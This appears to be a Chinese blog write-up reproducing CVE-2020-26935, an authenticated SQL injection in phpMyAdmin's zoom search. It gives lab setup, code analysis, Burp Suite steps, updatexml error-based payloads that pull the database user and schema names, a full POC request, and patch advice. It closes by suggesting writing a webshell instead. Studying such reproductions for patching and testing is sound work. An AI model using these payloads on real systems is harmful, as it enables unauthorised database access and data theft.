天天看點

CVE-2020-26935 phpMyAdmin背景SQL注入

0x00 漏洞介紹

phpMyAdmin

phpMyAdmin團隊

的一套免費的、基于Web的MySQL資料庫管理工具。該工具能夠建立和删除資料庫,建立、删除、修改資料庫表,執行SQL腳本指令等。

phpMyAdmin 4.9.6之前版本

SearchController 5.0.3之前版本

存在SQL注入漏洞,該漏洞允許攻擊者進行SQL注入攻擊。

0x01 漏洞環境

  • phpMyAdmin5.0.2&SearchController <5.0.3

0x02 漏洞搭建

1、

phpMyAdmin 5.0.2

壓縮包下載下傳

https://files.phpmyadmin.net/phpMyAdmin/5.0.2/phpMyAdmin-5.0.2-all-languages.zip
           

2、解壓縮後将其放入靶機的

/var/www/html

目錄下,改名為

phpmyadmin

3、随後進入

phpmyadmin

,找到

config.sample.inc.php

檔案備份後将該檔案更名為

config.inc.php

。用

vim

編輯器打開該檔案,在第18行此處填寫

phpmyadmin

,也就是自己改的名字即可安裝完畢。

CVE-2020-26935 phpMyAdmin背景SQL注入

4、儲存完配置之後,在浏覽器輸入如下位址http://127.0.0.1/phpmyadmin,就會出來phpMyAdmin登入界面

5、注意,mysql 5.7版本預設不能使用root使用者登陸背景phpmyadmin的!!!建立一個完全權限的賬戶才可以登陸!!指令如下:

CVE-2020-26935 phpMyAdmin背景SQL注入
CVE-2020-26935 phpMyAdmin背景SQL注入
mysql -u root -p
	use mysql;
	GRANT ALL PRIVILEGES ON *.* TO '使用者名'@'localhost' IDENTIFIED BY '密碼' WITH GRANT OPTION;
	flush privileges;
	exit;
systemctl restart mysql
           

0x03 影響範圍

phpMyAdmin versions 4.9.x before 4.9.6, and versions 5.0.x before 5.0.3

0x04 漏洞原理

1、因為是跟

SearchController

有關,是以全局搜尋一下

SearchController

,正向跟進

/tbl_zoome_select.php

檔案。

CVE-2020-26935 phpMyAdmin背景SQL注入

2、可以看出調用了

TableSearchController

indexAction

方法,繼續跟進,全局搜尋一下,看看到底是哪裡建立的這個函數。

CVE-2020-26935 phpMyAdmin背景SQL注入
CVE-2020-26935 phpMyAdmin背景SQL注入

3、通過上圖全局搜尋

indexAction()

,可以看出來在

./libraries/classes/Controllers/Table/SearchController.php

這個檔案中,進入

switch case zoom

中,發現這裡是一個原生sql語句,沒有對

get_data_row

做任何過濾。

CVE-2020-26935 phpMyAdmin背景SQL注入

0x05 漏洞複現

1、登陸phpMyAdmin背景

賬号:

wpuser

密碼:

Wpuser123.com

CVE-2020-26935 phpMyAdmin背景SQL注入

2、登陸後,點選

information_schema

CVE-2020-26935 phpMyAdmin背景SQL注入
CVE-2020-26935 phpMyAdmin背景SQL注入

3、再随機點選一張不報錯的表,随後點選搜尋

CVE-2020-26935 phpMyAdmin背景SQL注入

4、再點選

縮放搜尋

CVE-2020-26935 phpMyAdmin背景SQL注入

5、将空白處填滿,值都填滿,随便寫

CVE-2020-26935 phpMyAdmin背景SQL注入

6、打開BurpSuite,設定好代理後,點選下方的執行,BuiteSuite就會收到如下的資料包,

Ctrl+R

将其放入重放器(Repeater)中

CVE-2020-26935 phpMyAdmin背景SQL注入

7、将

token

字段後面的所有資料删除

CVE-2020-26935 phpMyAdmin背景SQL注入

8、添加這句語句

&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)
           
CVE-2020-26935 phpMyAdmin背景SQL注入

9、發送後可以看到結果

CVE-2020-26935 phpMyAdmin背景SQL注入
CVE-2020-26935 phpMyAdmin背景SQL注入

10、查詢庫名

&get_data_row=1&where_clause=updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1)
&get_data_row=1&where_clause=updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e),1)
           
CVE-2020-26935 phpMyAdmin背景SQL注入

也可以放在

Hack bar

中執行

CVE-2020-26935 phpMyAdmin背景SQL注入

0x06 漏洞解決建議

1、目前廠商已釋出更新更新檔以修複漏洞,更新檔擷取連結: https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2

2、更新到更高版本

0x07 POC

POST /phpmyadmin/tbl_zoom_select.php HTTP/1.1
Host: 192.168.91.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 224
Origin: null
Connection: close
Cookie: phpMyAdmin=nk6q8es96cv0j8a8a1nu9of48k; pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22NnsGvlgStQthIgVzxmXmlA%3D%3D%22%2C%22mac%22%3A%22bc225fb2cce7236537f724885ff488332922da27%22%2C%22payload%22%3A%22mcoI%5C%2FCTWx3zHM6hNjpopfA%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22d1W1shXTobZeECuPiLJJXA%3D%3D%22%2C%22mac%22%3A%2237051bede50280770d4b8ab05ee03935983ad141%22%2C%22payload%22%3A%22c66OqbeSV%2BdgvyEiRm4Eh6U5wJGDBnatHyiKhkfj608%3D%22%7D
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

db=information_schema&table=CHARACTER_SETS&token=2777787a51783379543b65257c606c45&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)
           

0x08 總結

很雞肋,進入

phpMyadmin

背景,誰還做sql注入,直接寫shell不香麼。

0x09 Reference

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26935

https://xz.aliyun.com/t/8524

繼續閱讀